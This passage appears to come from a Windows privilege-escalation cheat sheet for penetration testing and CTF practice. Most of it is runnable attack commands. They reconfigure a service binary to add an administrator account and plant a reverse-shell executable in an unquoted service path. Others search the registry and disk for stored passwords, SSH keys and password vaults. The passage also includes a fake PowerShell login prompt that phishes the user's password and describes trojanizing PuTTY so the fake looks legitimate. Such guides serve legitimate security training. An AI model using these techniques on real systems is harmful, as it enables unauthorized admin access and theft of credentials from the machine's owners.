Then use accesschk.exe to check:
Copy accesschk.exe /accepteula -uwcv "Authenticated Users" *
accesschk.exe /accepteula -uwcv "Everyone" *
Then see the full config of the service:
Copy accesschk.exe /accepteula -uwcv daclsvc
Note the permission SERVICE_CHANGE_CONFIG . We can leverage this permission to escalate our privilege.
Exploit - sc
First query the service (daclsvc
for example):
Modify the BinPath:
Copy sc config daclsvc binpath= "net user pwned P@ssw0rd /add"
Then start the service
Do once again:
Copy sc config daclsvc binpath= "net localgroup administrators pwned /add"
sc start daclsvc
Unquoted Service Path
Detection - PowerUp
Again use PowerUp.ps1 to check - note the section Checking for unquoted service paths
For example, in the screenshot above, for the service unquotedsvc , Windows service will search for the executable recursively:
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path Service\Common.exe
If we have write permission somewhere in the path, we can put an malicious executable there, which will be run by service.exe (SYSTEM) when the service starts.
Also check the service permission:
Exploit - msfvenom
Check the permission of each possible paths:
icacls C:\
icacls "C:\Program Files\"
icacls "C:\Program Files\Unquoted Path Service\"
Generate a reverse shell executable. Using the above example, we will put Common.exe in the path:
C:\Program Files\Unquoted Path Service\Common.exe
When the service restarts, a reverse shell will call back.
Copy sc stop unquotedsvc
sc start unquotedsvc
Unattend.xml
Detection - where method
On cmd.exe:
Copy where /R C:\ "unattend.xml"
For example:
Then we can use powershell:
Copy Get-Content C:\Windows\Panther\Unattend.xml | Select-String -Pattern '<Password>' -Context 1,6
The found password would be in Base64 format. Just simply decode it and try to authenticate using the credential.
Low Hanging Passwords / X Files
Points to note:
Check if there are other drives as well
Note the language used by the owner
e.g. Password = 密碼 in Chinese
Find file names with passw
Copy dir /b /a /s c:\ > C:\Users\Public\c-dirs.txt
type C:\Users\Public\c-dirs.txt | findstr /i passw
The X Files:
Copy type C:\Users\Public\c-dirs.txt | findstr /i ssh
type C:\Users\Public\c-dirs.txt | findstr /i kdbx
type C:\Users\Public\c-dirs.txt | findstr /i vnc
Other targets:
install, backup, .bak, .log, .bat, .cmd, .vbs, .cnf, .conf, .config, .ini, .xml, .txt, .gpg, .pgp, .p12, .der, .csr, .cer, id_rsa, id_dsa, .ovpn, .rdp, vnc, ftp, ssh, vpn, git, .kdbx, .db
gcloud\legacy_credentials
Registry 2
Copy reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\OpenSSH\Agent\Keys"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Prompt the user for password
Copy powershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password"
Insecure Folders / Files
Copy accesschk.exe -accepteula -uws "Users" C:\*.* > C:\Users\Public\fld-user.txt
accesschk.exe -accepteula -uws "Users" C:\*.* > C:\Users\Public\fld-authuser.txt
This technique is not specifically useful in CTF, but in real scenarios.
For example, you may find common tools like PUTTY.exe
/ OpenSSH
etc, where the user will use frequently. Then we can replace them with a trojanized version, and use ResourceHacker to make the EXE look exactly the same as the legit one.
System PATH hijack
Copy reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
set
set
command will show you the PATH
in user level, but the reg query above will show you the PATH
in SYSTEM level.
If something in the SYSTEM PATH can be modified / written, quick win! For example, if see PATH=C:\Tools;C:\Windows\System32....
, we may try to inspect the permission of the first one:
If we see (M)
/ (W)
, we can put trojanized common executable like notepad, cmd, etc in that folder!
When a high privilege user uses those common executable, the system will run the trojanized version instead.
Services without a Binary
Copy autorunsc64.exe -a s | more
Look for File NOT FOUND
entries
Use sc query
and sc qc
to the service name to see if we can hijack the service binary.
We can always use icacls
to check folder / binary permission.
Tasks without file
Copy autorunsc64.exe -a t | more
Again look for FILE NOT FOUND
After getting the taskname, get more info:
Copy schtasks /query /tn <taskname> /xml
Check the <exec>
portion to see if it is possible to hijack.
Side note: To check SID real user:
Copy wmic useraccount where sid='S-1-5-21-3461203602-4096304019-2269080069-1003'
wmic useraccount where sid='S-1-5-21-3461203602-4096304019-2269080069-1003' get name
Or reverse:
Copy wmic useraccount where name='admin' get sid
UACME
https://github.com/hfiref0x/UACME